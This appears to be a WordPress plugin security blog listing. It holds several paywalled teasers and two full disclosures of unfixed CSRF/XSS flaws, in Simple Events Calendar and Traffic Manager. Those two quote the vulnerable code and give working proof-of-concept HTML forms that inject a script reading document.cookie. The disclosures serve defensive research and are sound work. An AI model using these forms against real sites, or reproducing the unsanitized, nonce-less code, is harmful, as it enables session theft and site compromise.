21 May

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Ultimate Member

One of the things that we appear to uniquely do in compiling data on vulnerabilities in WordPress plugins is that is that we fully review and test out vulnerabilities when adding them to our data set. That means that unlike other sources we won’t falsely tell people that an unfixed vulnerability has been fixed. It also means that we don’t include false reports of ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

14 May

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Metronet Tag Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

The changelog entry for version 1.2.9 of the plugin Metronet Tag Manager is “Fixed serious security issue. Please Update.”. Looking at ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

24 Apr

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in RatingWidget

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

While looking into a report of a vulnerability in the plugin RatingWidget we noticed that in the version prior to the ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

18 Dec

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in BuddyPress Members Only

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

One of the ways we keep track of vulnerabilities in WordPress plugins is by monitoring the Support Forum for threads ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Dec

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Special Text Boxes

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems like they are aware that they could notify the developers of these, but usually haven’t been doing it. One of the more recent batch was an “Authenticated XSS” vulnerability in the plugin Special Text Boxes.

In a previous post we looked at a reflected cross-site ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

21 Nov

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simple Events Calendar

While looking in to what turned out be a false report of a vulnerability in the plugin Simple Events Calendar, we noticed there is a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in the plugin.

When the plugin’s admin page is requested, the function that generates that page checks if a new event has been submitted with the request using the following code (in the file /simple-events-calendar.php):

155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
if(isset($_POST['store_event'])) {
	if($_POST['event']['event_title']) { // New entries at least have to have a title, if none then nothing is written to DB
		global $wpdb;						
		$table_name = $wpdb->prefix . "simple_events";
		$event = $_POST['event'];
		$event_start = mktime($event['event_start_hr'],$event['event_start_mn'],0,$event['event_start_month'],$event['event_start_day'],$event['event_start_yr']);
		$event_end = mktime($event['event_end_hr'],$event['event_end_mn'],0,$event['event_end_month'],$event['event_end_day'],$event['event_end_yr']);
		$newEvent['event_start'] = $event_start;
		$newEvent['event_end'] = $event_end;
		$newEvent['event_title'] = $event['event_title'];
		$newEvent['event_desc'] = $event['event_desc'];
		$newEvent['event_url'] = str_replace(" ", "", $event['event_url']);
		$newEvent['event_loc'] = $event['event_loc'];
		$newEvent['event_loc_url'] = str_replace(" ", "", $event['event_loc_url']);
		$newEvent['event_label'] = strtolower(str_replace(" ", "", $event['event_label']));
 
		$wpdb->insert( $table_name, $newEvent );

That code doesn’t check for a valid nonce, so it is susceptible to cross-site request forgery (CSRF). That code saves user input, from the POST input “event”, without doing any sanitization.

The same is true for similar code right below that code for updating an event.

Then for example, on line 693 of the file the value of one of the items taken from user input, “event_title”, is output without being escaped:

<th class="eventtitle" colspan="3"><form method="post"><input type="hidden" name="event_id" value="<?php echo $details['id'];?>" /><input type="submit" name="edit" value="<?php _e('Edit',SE_TEXTDOMAIN);?>" class="iconsprite editicon" /><input type="submit" name="delete" value="<?php _e('Remove',SE_TEXTDOMAIN);?>" class="iconsprite binicon" /></form> <?php echo stripslashes($details['event_title']);?></th>

The lack of sanitization and escaping leads to the possibility of cross-site scripting (XSS).

We notified the developer of issue on November 10. We have yet to hear back from them and the vulnerability has not been fixed so far. The plugin was last updated nearly a year ago, so it may no longer be supported. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simple-events, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=simple-events" method="POST">
<input type="hidden" name="store_event" value="test" />
<input type="hidden" name="event[event_title]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="event[event_loc]" value="" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 10, 2017 – Developer notified.
20 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Use Any Font

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems like they are aware that they could notify the developer of these, but usually haven’t been doing it. One of the more recent batch was a cross-site request forgery (CSRF) vulnerability in the plugin Use Any Font.

When we went to look into this ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

30 Aug

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Traffic Manager

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. In doing that we sometimes find that the possible vulnerable code isn’t exploitable, but we find another vulnerability while figuring that out, which doesn’t speak to WordPress plugins being all that secure. That is the case with the plugin Traffic Manager, where while looking into a possible issues that occurred while saving the plugin’s settings that the changing of the plugin’s setting lacked protection against cross-site request forgery (CSRF).

The code to save the settings is in the function flush() in the file /core/parameters.class.php, which runs when accessing several of the plugin’s admin pages. Those pages all look to be restricted to Administrator, due to access to them requiring the “activate_plugins” capability, which only Administrators normally have access to.

The saving of the settings will occur if the POST input “submitOptions” exists:

616
if (isset($_POST['submitOptions'])) {

The settings are not sanitized when saved to the database and at least the “metatag_copyright_override” setting is output on frontend pages without being escaped (on line 414 of the file /traffic-manager.php):

414
$dc .= '<meta name="DC.right" content="'.$this->get_param('metatag_copyright_override').'"/>'."\n" ;

That permits cross-site scripting (XSS) to occur.

We notified the developer of the issue a couple of week ago, but have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on frontend pages of the WordPress, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=traffic-manager/traffic-manager.php" method="POST">
<input type="hidden" name="submitOptions" value="update" />
<input type="hidden" name="metatag" value="on" />
<input type="hidden" name="metatag_copyright" value="on" />
<input type="hidden" name="metatag_copyright_override" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • August 14, 2017 – Developer notified.